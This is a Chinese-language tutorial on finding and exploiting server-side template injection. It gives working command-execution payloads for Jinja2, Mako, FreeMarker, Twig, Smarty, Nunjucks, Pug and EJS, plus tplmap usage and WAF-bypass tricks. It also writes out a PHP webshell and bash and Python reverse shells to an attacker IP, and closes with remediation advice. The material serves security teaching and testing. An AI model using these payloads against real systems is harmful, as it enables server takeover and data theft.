1. 项目概述从“渲染”到“接管”的惊险一跃如果你是一名Web安全研究员或者渗透测试工程师那么“SSTI”这个词对你来说一定不陌生。它就像一个隐藏在华丽舞台幕布后的暗门表面上网站通过模板引擎将数据和页面结构优雅地结合呈现给用户动态、个性化的内容背地里这个结合过程如果存在疏漏就可能让攻击者获得一把打开服务器后门的钥匙。SSTI全称Server-Side Template Injection即服务端模板注入。它远不止是一个简单的“注入”漏洞其危害性常常被低估。一个成功的SSTI利用可以直接导致远程代码执行这意味着攻击者能像管理员一样在服务器上执行任意命令读取敏感文件甚至横向移动控制整个内网。为什么SSTI如此危险核心在于“信任”。模板引擎被设计用来安全地混合不可信的用户数据和可信的模板代码。开发者信任模板引擎会做好隔离。但当用户输入被直接拼接进模板语句这份信任就被打破了。攻击者注入的就不再是普通数据而是具有执行能力的模板指令。更棘手的是SSTI的利用方式高度依赖于后端使用的模板引擎比如Jinja2Python、TwigPHP、Freemarker/ThymeleafJava、SmartyPHP等每种引擎的语法、内置函数、安全机制都不同这使得漏洞的检测和利用充满了挑战和“解谜”的乐趣。本篇文章我将结合自己多年在渗透测试和红队评估中的实战经验为你系统性地拆解SSTI。我们不会停留在概念层面而是深入引擎内部剖析不同语言环境下模板渲染的机制手把手教你如何从零开始挖掘、识别、验证并最终利用SSTI漏洞。无论你是刚入门的安全爱好者还是想深化Web攻防技能的从业者这篇超过5000字的深度解析都将为你提供一套清晰的思路和实用的工具箱。2. SSTI核心原理与利用分类深度解析要理解SSTI必须先吃透模板引擎的工作原理。你可以把模板引擎想象成一个“智能打印机”。模板文件是预设好的文稿格式比如“尊敬的{name}用户您的订单号是{order_id}”而模板数据就是填充进去的具体内容name“张三”,order_id“12345”。引擎的工作就是读取模板找到其中的占位符变量、表达式然后用传入的数据替换它们最终生成一份完整的HTML或其他格式文档发送给用户的浏览器。2.1 漏洞产生的根源数据与代码的边界模糊化安全的模板渲染流程是用户可控数据 - 视为纯文本/值 - 填充到模板变量位置 - 渲染输出。在这个过程中用户数据始终被当作“值”来处理。漏洞产生的流程则是用户可控数据 - 被拼接到模板语句中 - 引擎将其解析为模板语法的一部分 - 执行渲染。这里发生了本质变化数据“越界”成了代码。举个例子一个Python Flask应用使用Jinja2模板from flask import Flask, request, render_template_string app Flask(__name__) app.route(/greet) def greet(): name request.args.get(name, Guest) # 危险操作直接将用户输入拼接进模板 template h1Hello, name !/h1 return render_template_string(template)当用户访问/greet?nameWorld时一切正常模板是h1Hello, World!/h1。但如果攻击者输入{{7*7}}模板就变成了h1Hello, {{7*7}}!/h1。render_template_string会执行模板渲染Jinja2引擎会识别{{...}}为表达式计算7*7得到49最终输出h1Hello, 49!/h1。这就完成了一次最简单的SSTI检测。2.2 利用分类从信息泄露到命令执行根据用户输入插入位置的不同SSTI通常分为两类这直接影响了漏洞检测的难度和利用方式。2.2.1 直接模板注入Plaintext Context这是最理想的情况。用户输入直接出现在模板语句的“代码区”。就像上面的例子输入被直接放在HTML标签之间。检测非常简单注入普通的模板语法表达式如{{7*7}}、${7*7}、% 7*7 %取决于引擎即可。如果返回页面中计算结果49替代了原表达式几乎可以断定存在SSTI。2.2.2 代码上下文注入Code Context这种情况更隐蔽也更常见。用户输入被放置在模板原本的变量或参数位置但该位置本身被包裹在模板语法中。例如# 假设模板内容为h1Hello, {{ username }}!/h1 # 而username来自用户输入 username request.args.get(user) template “h1Hello, {{ “ username “ }}!/h1” # 错误示例实际中模板通常从文件加载这里开发者本意是让用户控制username这个变量的值。但如果攻击者输入}} {{7*7}} {#最终拼接的模板会变成h1Hello, {{ }} {{7*7}} {# }}!/h1}}闭合了原来的{{。{{7*7}}是我们注入的表达式。{#是Jinja2的注释开始标记它注释掉了后面多余的}}避免语法错误。 这样我们同样执行了表达式。在代码上下文中攻击者需要先“逃逸”出原有的语法结构构造一个合法的新模板语句。实操心得在实际黑盒测试中你无法看到后端模板源码。因此你需要系统地尝试各种闭合符号。对于基于{{...}}的引擎尝试}}、}}%、}}#等对于基于%...%的引擎尝试%。同时结合注释语法如{#、!--、//来吞掉尾部多余的代码这是一个“试错推断”的过程。3. 主流语言模板引擎特性与攻击载荷剖析这是SSTI利用中最具技术含量的一环。识别出存在注入后你必须判断后端用的是哪种模板引擎。不同引擎的沙箱机制、内置对象、函数调用方式天差地别。下面我将梳理几大主流语言中常见引擎的指纹识别方法和攻击链条。3.1 Python - Jinja2 / Mako / TornadoJinja2是Python生态中最流行的模板引擎Flask、Django也可使用等框架常用。指纹识别注入{{7*‘7’}}。Jinja2中‘7’*7会得到‘7777777’字符串重复而其他引擎可能报错或返回其他结果。攻击链条Jinja2的沙箱并不绝对安全其目标是隔离而非完全不可逃逸。核心目标是获取到__builtins__或os模块。获取内置类所有对象都继承自object类。通过类的继承链__mro__、__subclasses__可以找到危险的内置类。常用Payload# 获取所有子类寻找可用的类如 catch_warnings, subprocess.Popen {{ “”.__class__.__mro__[1].__subclasses__() }} # 找到subprocess.Popen类并执行命令需知道索引号 {{ “”.__class__.__mro__[1].__subclasses__()[索引号]([‘whoami’], shellTrue, stdout-1).communicate()[0] }} # 另一种方式通过__builtins__导入os {{ config.__class__.__init__.__globals__[‘os’].popen(‘id’).read() }}注意事项Jinja2某些版本或配置下会禁用一些危险属性如__globals__。你需要灵活变通例如利用request对象在Flask中或通过url_for、get_flashed_messages等函数的__globals__属性进行跳转。Mako是另一款高性能Python模板引擎语法简洁。指纹识别注入${7*7}计算并回显。攻击链条Mako的模板直接支持Python代码块% ... %限制更少。% import os xos.popen(‘whoami’).read() % ${x}或者直接利用内置的self、context对象${self.module.cache.util.os.system(“id”)}3.2 Java - FreeMarker / Velocity / ThymeleafFreeMarker在企业级Java应用中非常普遍。指纹识别注入${7*7}或#assign x7*7${x}。攻击链条FreeMarker有“内建函数”概念但新版沙箱较严格。经典攻击利用new内建函数创建任意Java对象。#assign ex“freemarker.template.utility.Execute”?new() ${ ex(“whoami”) }或者利用ObjectConstructor${“freemarker.template.utility.ObjectConstructor”?new()(“java.lang.ProcessBuilder”, [“whoami”]).start()}避坑技巧Java环境下的利用受限于Java安全管理器。如果目标应用权限限制严格如禁止执行进程上述Payload可能失败。此时可以转向文件读取、反序列化等利用链。例如利用ClassLoader读取系统文件${“java.lang.Class”?forName(“java.io.BufferedReader”)?new(“java.io.InputStreamReader”?new(“java.lang.ProcessBuilder”?new([“cat”, “/etc/passwd”])?start()?getInputStream()))?readLine()}。这条链虽然复杂但能绕过一些限制。Velocity和Thymeleaf的利用思路类似都是寻找执行命令或访问危险API的途径。Thymeleaf在Spring Boot中常见其表达式语言SpEL在特定版本如Spring Boot 1.x的某些版本中可能存在RCE但通常需要结合其他漏洞如路径遍历导致模板文件可控。3.3 PHP - Twig / Smarty / BladeTwigSymfony框架标配和Smarty是PHP两大主流引擎都具备较强的沙箱功能。Twig指纹识别注入{{7*7}}。Twig攻击链条现代Twig沙箱很难直接RCE。常见思路是寻找暴露了_self的环境并调用其env属性的方法。但更实际的利用往往是信息泄露或有限的文件操作。{{ _self.env.setCache(“/tmp/evil”) }} {# 可能存在的缓存路径控制 #} {{ _self.env.getFilter(‘system’)(‘id’) }} {# 旧版本或错误配置下可能有效 #}在实践中Twig的SSTI更多用于读取敏感上下文变量如{{app.request.headers}}、{{app.request.server}}来获取服务器信息为后续攻击做准备。Smarty指纹识别注入{7*7}注意它使用花括号。Smarty攻击链条Smarty允许注册自定义函数。如果存在配置问题可能利用{system(‘id’)}或{php}echoid;{/php}需要开启{php}标签默认关闭。新版本中利用{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,”?php passthru($_GET[‘cmd’]); ?”,self::clearConfig())}这样的Payload来写Webshell是一种思路但依赖特定条件。3.4 JavaScript - Node.js (Nunjucks / Pug / EJS)Node.js生态的模板引擎通常沙箱更弱甚至没有。NunjucksJinja2的JS移植版利用方式与Jinja2高度相似通过原型链污染和子类查找。{{ “”.constructor.constructor(“return global.process.mainModule.require(‘child_process’).execSync(‘whoami’)”)() }}这行Payload利用了从字符串对象追溯到Function构造器然后构造一个函数来执行任意JS代码。Pug原名Jade旧版本中如果模板内容用户可控可以直接嵌入JS代码。- var x global.process.mainModule.require(‘child_process’).execSync(‘whoami’) p x但新版本在默认编译选项中增加了安全限制。EJS在特定版本和配置下如果client选项为true且用户输入被直接用作模板可能导致RCE。% global.process.mainModule.require(‘child_process’).execSync(‘whoami’) %核心排查思路无论面对哪种引擎利用链的构建都遵循一个通用模式从模板内可访问的默认对象或变量出发 - 通过对象的属性或方法如__class__、constructor、prototype向上或向下追溯 - 找到能够执行系统命令、读写文件或导入危险模块的类/函数 - 调用它并传递参数。这要求测试者对目标语言的原型链、命名空间、模块系统有深入理解。4. 实战挖掘从黑盒模糊测试到白盒代码审计知道了原理和Payload如何在真实世界里找到SSTI漏洞我将其分为黑盒、灰盒、白盒三条路径。4.1 黑盒模糊测试主动探测与指纹识别当你只有一个目标URL时这是主要手段。寻找注入点任何将用户输入渲染到页面的地方都值得怀疑。参数URL参数?q、POST表单数据、Cookie、Headers如User-Agent,X-Forwarded-For。文件路径某些应用会将文件名或路径部分作为模板名加载如/page/{{user_input}}。个性化内容个人资料页、订单详情页、评论预览等这些地方常拼接用户名、邮件、标题等。系统性探测步骤一基础探测。向所有可疑参数提交通用的探测Payload观察响应差异。{{7*7}} ${7*7} % 7*7 % {7*7} [[7*7]]同时提交一个纯数字49作为对照。如果页面中出现了49而非原字符串强疑似SSTI。步骤二引擎识别。根据上一步的响应使用引擎特有的探测Payload。引擎探测Payload预期响应若存在Jinja2{{‘7’*7}}7777777Twig{{‘7’*7}}7777777Freemarker${‘7’*7}可能报错类型不匹配或7777777旧版Velocity#set($x7*7)页面可能无回显但后续$x可用Smarty{‘7’*7}或{if 1}test{/if}7777777或出现testPug/Jade#{7*7}可能被渲染步骤三上下文判断。如果基础Payload无回显尝试闭合Payload。对于{{...}}上下文尝试}}test{{7*7}}{#。对于%...%上下文尝试%test%7*7%!--。 观察页面中是否出现test49或类似结构。利用工具辅助使用tplmap或SSTI扫描器如集成在Burp Suite的插件可以自动化这个过程。但工具并非万能尤其是对于代码上下文注入或冷门引擎手动测试和思维更重要。4.2 白盒代码审计精准定位与链式挖掘如果你能接触到源代码挖掘效率和深度将极大提升。定位模板渲染函数在不同语言框架中搜索关键函数/方法。语言/框架危险函数/模式Python Flaskrender_template_string(),flask.render_template_string()Python Djangodjango.template.Template(),render_to_string()(如果用户输入作为模板名的一部分)Java Springnew TemplateEngine().process(),ThymeleafView相关处理PHP Twig$twig-render(),$twig-createTemplate()(尤其危险)Node.jsres.render(view, data)其中view或data可控ejs.render()跟踪数据流从用户输入源如request.getParameter(),$_GET[‘q’]开始跟踪该变量是否未经充分过滤或编码最终传递到了上述的模板渲染函数中。重点关注字符串拼接操作,.,concat。审计模板文件检查模板文件.html,.j2,.ftl,.twig等中是否存在不安全的变量引用或包含。例如在Jinja2中{% include user_input %}或{% from user_input import * %}都是极度危险的。实操心得白盒审计时不要只盯着“渲染”函数。有时漏洞产生于“二次渲染”。例如一个内容管理系统CMS允许用户上传自定义模板文件这个文件在后端又被主模板引擎渲染。这时即使主引擎安全用户可控的模板文件内容却可能包含恶意指令。这种“模板中的模板”问题非常隐蔽。4.3 灰盒测试结合有限信息进行推理介于两者之间你可能拥有部分信息比如通过报错信息、响应头如X-Powered-By: Express、Cookie名称如PHPSESSID或静态资源路径如/static/js/twig.js推断出技术栈。利用这些信息你可以更有针对性地选择Payload提高测试效率。5. 高效利用工具与手动验证流程工欲善其事必先利其器。在SSTI测试中手动与工具的结合至关重要。5.1 核心工具介绍tplmap这是SSTI测试的“瑞士军刀”。它不仅能自动检测引擎类型还能在确认漏洞后自动利用并获取一个交互式Shell类似SQLmap。其强大之处在于内置了多种引擎的利用链。python tplmap.py -u ‘http://target.com/page?name*’使用--os-shell参数尝试获取操作系统shell。但tplmap在面对复杂WAF或非常规编码时可能失效需要手动调整Payload。Burp Suite 自定义插件/Scanner ChecksBurp的主动扫描器可以配置SSTI检测规则。但更高效的是使用如“SSTI Detection”这类社区插件或自己编写Intruder攻击载荷集系统性地发送探测Payload并比对响应。浏览器插件 手工测试台像“HackBar”或“Cookie Editor”这类插件方便你快速修改参数并重放请求。同时在本地搭建一个包含各种模板引擎的测试环境一个简单的Docker容器即可用于验证Payload的有效性和理解引擎行为是进阶学习的必备。5.2 手动验证与利用标准化流程即使使用工具手动验证也是确保结果准确的关键。我推荐以下流程探测与确认使用第4.1节的探测Payload确认漏洞存在及引擎类型。信息收集尝试利用漏洞读取应用上下文信息为后续利用铺路。Jinja2:{{ config }}、{{ request.environ }}Twig:{{ _self }}、{{ app.request.server.all }}这步可以帮你了解服务器路径、环境变量、其他可能的内置对象。尝试执行命令使用针对该引擎的RCE Payload。务必从无害命令开始如whoami、id、ping -c 1 your-collaborator-domain.com用于带外检测。建立持久化访问如果命令执行成功考虑上传Webshell或反弹Shell。上传Webshell利用写文件功能。例如在Jinja2中如果找到open函数{{ lipsum.__globals__.__builtins__.open(‘/var/www/html/shell.php’, ‘w’).write(‘?php eval($_POST[cmd]);?’) }}。反弹Shell使用bash -c ‘bash -i /dev/tcp/your-ip/port 01’或python -c ‘import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“your-ip”,port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([“/bin/sh”,”-i”]);’。注意编码和引号转义。权限提升与横向移动获得初始立足点后进行标准的后渗透操作。5.3 绕过WAF/过滤的常用技巧现实中的目标往往部署了WAF它们会拦截常见的{{、}}、os、system等关键词。字符串拼接与编码{{‘o’’s’}}-os{{request[‘application’][‘__globals__’][‘__builtins__’][‘__import__’](‘o’’s’)}}使用Hex编码{{‘\x6f\x73’}}(os)使用Base64编码并通过模板函数解码如果可用{{‘b3M’|b64decode}}(os)属性访问替代使用[]代替.。{{config.__class__}}可写为{{config[“__class__”]}}利用未过滤的内置函数或对象WAF规则可能不完善。尝试使用不那么常见的函数如popen、subprocess、exec或者通过__builtins__动态获取。注释符干扰在Payload中插入无关的注释或空白符可能绕过简单的正则匹配。{{ 7 * 7 }}、{{7*7}}、{{7*7 }}、{{7*7}}研究引擎特性某些引擎有特殊的语法可以绕过简单过滤。例如在Jinja2中可以使用|attr()过滤器来访问属性{{config|attr(“__class__”)}}。6. 防御之道开发者视角的根治方案作为攻击者我们挖掘漏洞但作为安全从业者我们更应知道如何修复和预防。给开发者的建议永远是“白名单”优于“黑名单”。根本方法严格隔离数据与代码。绝对不要将用户输入直接拼接进模板字符串。使用模板引擎提供的安全方式传递变量。正确示例Flask:# 安全将数据作为变量传入 return render_template(‘greet.html’, nameusername)在greet.html中安全引用h1Hello, {{ name }}!/h1使用“沙箱化”的模板引擎并启用所有安全特性。例如Jinja2的SandboxedEnvironmentTwig的沙箱模式。但要知道沙箱并非绝对安全历史上多次被绕过。对用户输入进行严格的上下文相关编码。如果用户输入必须作为模板的一部分这种情况应尽量避免应对其进行严格的HTML编码、JS编码等确保其始终被解释为文本而非代码。静态模板文件尽可能使用静态模板文件避免动态生成模板内容。代码审查与自动化扫描在代码审查中将模板渲染函数的使用作为重点检查项。在CI/CD流程中集成SAST静态应用安全测试工具自动检测潜在的SSTI漏洞模式。WAF作为最后防线虽然WAF可以被绕过但它可以阻挡大量自动化攻击和低技能攻击者。配置规则拦截常见的模板语法模式。SSTI漏洞的挖掘和利用是一场关于“理解”的博弈。你需要理解模板引擎如何工作理解应用如何处理数据理解防御机制如何部署。它没有SQL注入那样直接的“万能钥匙”却因其与业务逻辑的深度结合而更具挑战性和潜在价值。每一次成功的SSTI利用都像是对目标应用内部运作机制的一次完美逆向工程。